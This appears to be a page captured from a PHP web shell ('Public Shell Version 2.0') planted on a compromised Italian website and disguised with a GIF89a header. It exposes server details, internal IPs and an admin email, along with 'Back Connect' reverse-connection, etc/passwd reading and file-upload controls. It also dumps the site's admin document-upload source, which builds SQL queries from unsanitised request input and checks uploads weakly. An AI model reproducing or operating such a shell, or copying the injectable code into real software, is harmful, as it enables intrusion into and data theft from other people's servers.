GIF89a

Public Shell


Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
PHP Version : 5.3.29
Server Admin : postmaster@www.giancio.com
Server IP : 192.168.3.109 Your IP : 18.188.15.246
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: system,popen,dl,passthru,proc_open,shell_exec
Current Path : /web/htdocs/www.giancio.com/home/admin/function/
File Upload :
Current File : /web/htdocs/www.giancio.com/home/admin/function/docres.php

<?php
//////////////////////////document
function inseriscidocument() {
	global $conn, $id;
	$sql = 'select * from document where document_id="' . $id . '"  ';
	$dati_document = mysql_query($sql) or die(mysql_error());
	$array_document = mysql_fetch_array($dati_document);

	$output = '<form id="contactform" enctype="multipart/form-data" name="contactform" action="?azione=salvadocument&id=' . $id . '" method="post">';
	$output .= '<fieldset>';
	$output .= '<h1>Upload new Document</h1><br />';
	$output .= '<a class="button" href="javascript:history.back()">' . BACK . '</a>&nbsp;';
	$output .= '<a class="show-option button" href="#" title="PDF, DOC, XLS, PPT, JPG, GIF, PNG, TGA, BMP - Max 1MB">info »</a><br /><br />';


	$output .= '<label for="upload">File</label><br />';
	$output .= '<input type="file" id="upfile" name="upfile" /><br /><br />';
	$output .= '<label for="testo">'.DESC.'</label><br />';

	$output .= '<textarea id="testo" name="testo" width="400px" height="300px"></textarea><br /><br />';

	
	$output .= '<label for="cat">'.CAT.'</label><br />';
	$output .= '<select id="cat" name="cat">';
	$output .= '<option value="1">Calendari Allievi</option>';
	$output .= '<option value="2">Esami</option>';
	$output .= '<option value="3">Materiale Didattico</option>';	
	$output .= '<option value="4">Carta Pentagrammata</option>';	
	$output .= '</select><br /><br />';

/*	$output .= '<label for="cat">Visibilità</label><br />';
	$output .= '<select id="cat" name="vis">';
	$output .= '<option value="generale">Generale</option>';

	$sql = 'select * from utenti order by ute_id ASC';
	$dati_voce = mysql_query($sql) or die(mysql_error());
	$array_voce = mysql_fetch_array($dati_voce);
	while ($array_voce = mysql_fetch_array($dati_voce)) {
		$output .= '<option value="' . $array_voce['ute_usn'] . '">' . $array_voce['ute_usn'] . '</option>';
	}


	$output .= '</select><br /><br />';*/



	$output .= '<input type="submit" value="'.SALVA.'" id="myButton" />';
	$output .= '</fieldset>';
	$output .= '</form>';
	return ($output);

}



function modificadocument() {
	global $conn, $id;
	$sql = 'select * from document where document_id="' . $id . '"  ';
	$dati_document = mysql_query($sql) or die(mysql_error());
	$array_document = mysql_fetch_array($dati_document);
			$mystring = $array_document['document_file'];
			$findme   = '_';
			$pos = strpos($mystring, $findme);
			$nomefilenonum=substr($mystring, $pos +1);

	$output = '<form id="contactform" enctype="multipart/form-data" name="contactform" action="?azione=salvadocument&id=' . $id . '" method="post">';
	$output .= '<fieldset>';
	$output .= '<h1>Modifica Documento</h1><br />';
	$output .= '<a class="button" href="javascript:history.back()">' . BACK . '</a>&nbsp;';
	$output .= '<a class="show-option button" href="#" title="PDF, DOC, XLS, PPT, JPG, GIF, PNG, TGA, BMP - Max 1MB">info »</a><br /><br />';
	
	$output .= '<h2>' . $nomefilenonum . '</h2><br /><br />';
	
	
	$output .= '<label for="testo">'.DESC.'</label><br />'; 

	$output .= '<textarea id="testo" name="testo" width="400px" height="300px">'.$array_document['document_testo'].'</textarea><br /><br />';
	$output .= '<label for="cat">'.CAT.'</label><br />';
	$output .= '<select id="cat" name="cat">';
	$output .= '<option value="1">Calendari Allievi</option>';
	$output .= '<option value="2">Esami</option>';
	$output .= '<option value="3">Materiale Didattico</option>';	
	$output .= '<option value="4">Carta Pentagrammata</option>';	
	$output .= '</select><br /><br />';
	$output .= '<input type="submit" value="'.SALVA.'" id="myButton"/>';
	$output .= '</fieldset>'; 
	$output .= '</form>';
	return ($output);

}


function salvadocument() {
	global $conn, $id;
	$errore = 0;
	$testo = $_POST['testo'];
	$cat = $_POST['cat'];
	//$vis = $_POST['vis'];
	$dimensione_massima = 10240000;
	//dimensione massima consentita per file in byte -> 1024 byte = 1 Kb
	$dimensione_massima_Kb = $dimensione_massima / 1024;

	$filtrare = 1;
	//filtrare x estensioni ammesse? 1=si 0=no
	$array_estensioni_ammesse = array('.pdf', '.doc', '.xls', '.docx', '.xlsx', '.ppt', '.jpg', '.jpeg', '.gif', '.png', '.tga', '.bmp');
	//estensioni ammesse
	if ($errore == 0) {
		if($id== 0){

		if (!isset($_FILES['upfile']) || $_FILES['upfile']['size'] == 0) {
			$errore = '' . ERRNOFILE . '';
			header('location: index.php?errnofile&azione=inseriscidocument');
		} elseif ($_FILES['upfile']['size'] > $dimensione_massima) {
			$errore = '' . ERRDIM . '';
			header('location: index.php?errdim&azione=inseriscidocument');
		} else {
			
			$upload_dir = $_SERVER['DOCUMENT_ROOT'] . '/document/';
			//in produzione cambiare percorso!!
			$nome_file = $_FILES['upfile']['name'];
			$errore = "";
			if ($filtrare == 1) {
				$estensione = strtolower(substr($nome_file, strrpos($nome_file, "."), strlen($nome_file) - strrpos($nome_file, ".")));
				if (!in_array($estensione, $array_estensioni_ammesse)) {
					$errore = '' . ERREXT . '';
					header('location: index.php?errext&azione=inseriscidocument');
				}else{
			

			$sql = 'insert into document(document_testo,document_cat,document_vis) values("' . $testo . '","' . $cat . '","' . $vis . '")';
			header('location: index.php?ins&azione=listdocument');
			mysql_query($sql, $conn) or die(mysql_error());
			$id = mysql_insert_id();					
				}
			}


		}

		//************************************upload
		if (is_uploaded_file($_FILES['upfile']['tmp_name'])) {
				
			if($cat==1){
			$upload_dir = $_SERVER['DOCUMENT_ROOT'] . '/reserved/doc/1/';}
			if($cat==2){
			$upload_dir = $_SERVER['DOCUMENT_ROOT'] . '/reserved/doc/2/';}
			if($cat==3){
			$upload_dir = $_SERVER['DOCUMENT_ROOT'] . '/reserved/doc/3/';}
			if($cat==4){
			$upload_dir = $_SERVER['DOCUMENT_ROOT'] . '/reserved/doc/4/';}			
			
			$nome_file = $_FILES['upfile']['name'];
			$errore = "";
			if ($filtrare == 1) {
				$estensione = strtolower(substr($nome_file, strrpos($nome_file, "."), strlen($nome_file) - strrpos($nome_file, ".")));
				if (!in_array($estensione, $array_estensioni_ammesse)) {
					$errore = '' . ERREXT . '';
					header('location: index.php?errext&azione=inseriscidocument'); 
				}
			}
			$filename = $id . '_' . $_FILES['upfile']['name'];
			$estensioni_ammesse = array('jpg', 'jpeg', 'gif', 'png', 'doc', 'pdf', 'xls');
			$estensione = substr($filename, strpos($filename, '.') + 1, (strlen($filename) - strpos($filename, '.')));
			if (in_array($estensione, $estensioni_ammesse)) {
				move_uploaded_file($_FILES['upfile']['tmp_name'], $upload_dir . $filename);
				$sql = 'update document set document_file="' . $filename . '" where document_id=' . $id . ' ';
				mysql_query($sql);
			} else {echo 'error uploading';
			}
		}
		}
else{
				$sql = 'update document set document_testo="' . $testo . '", document_cat="' . $cat . '" where document_id=' . $id . ' ';
			header('location: index.php?agg&azione=listdocument');
				mysql_query($sql);
	
}	 

	} else {$output = 'errore nel form.<br /><a href="javascript:history.go(-1)">Torna indietro</a>';
	}
	return ($output);

}

function listdocument() {
	global $conn, $id;
	$output = '<span class="left"><h1>'.LISTA.' '.DOC.'</h1></span><span class="right"><a class="button show.option" title="DOC, PDF, XLS, PPT" href="?azione=inseriscidocument">Upload &raquo;</a></span>';

	$output .= '<div class="clear">';
  
	$output .= '<table>';
	$output .= '<tr>
			<th><strong>File</strong></th>
			<th><strong>'.DESC.'</strong></th>
			<th><strong>'.CAT.'</strong></th>
			<th><strong></strong></th>
			<th><strong></strong></th>
			</tr>';
	$sql = 'select document_id, document_testo, document_cat, document_vis, document_file from document order by document_cat asc ';
	$dati = mysql_query($sql, $conn) or die(mysql_error());
	if (mysql_num_rows($dati) > 0) {
		
	
		
			while ($array = mysql_fetch_array($dati)) {
				
				
			$mystring = $array['document_file'];
			$findme   = '_';
			$pos = strpos($mystring, $findme);
			$nomefilenonum=substr($mystring, $pos +1);

				$folder=$array['document_cat'];
	
				$cat=$array['document_cat'];
	
				if($cat==1){
				$categoria = 'Calendari Allievi';}
				if($cat==2){
				$categoria = 'Esami';}
				if($cat==3){
				$categoria = 'Materiale Didattico';}
				if($cat==4){
				$categoria = 'Carta Pentagrammata';}
			
				
					
				$output .= '<tr>';
				$output .= '<td><a href="../reserved/doc/'.$folder.'/' . $array['document_file'] . '" target="_blank">' . $nomefilenonum . '</a></td>';
				$output .= '<td>' . $array['document_testo'] . '</td>';
				$output .= '<td>' . $categoria . '</td>';
				//$output .= '<td>' . $array['document_vis'] . '</td>';		
				$output .= '<td align="center"><a class="modifica show-option" title="' . MOD . '" href="?azione=modificadocument&id=' . $array['document_id'] . '"></a></td>';
				$output .= '<td align="center"><a class="cancel show-option" title="' . DELETE . '" href="index.php?azione=deldocument&id=' .  $array['document_id'] . '" onClick="return confirm(\'Sei sicuro di voler eliminare questo elemento?\');"></a></td>';
		


				$output .= '</tr>';
				$flag_colore = 1;
			

		}

	} else {

		$output .= '<tr>';
		$output .= '<td colspan="5">Nessun file Caricato</td>';
		$output .= '</tr>';

	}
	$output .= '</table>';
	$output .= '</div>';
	
	return ($output);
}

function deldocument() {
	global $conn, $id;

	$readfile = mysql_query('select *from document where document_id="' . $id . '"');
	while ($row = mysql_fetch_assoc($readfile)) {
		$file = $row['document_file'];
		$cat = $row['document_cat'];
		
	}

	$dirname = $_SERVER['DOCUMENT_ROOT'] . '/reserved/doc/' . $cat . '/' . $file . '';

	if (file_exists($dirname) && is_file($dirname)) {
		unlink($dirname);
	}

	$sql = 'delete from document where document_id="' . $id . '"';
	mysql_query($sql, $conn) or die(mysql_error());
	header('location: index.php?del&azione=listdocument');
}



?>

Public Shell Version 2.0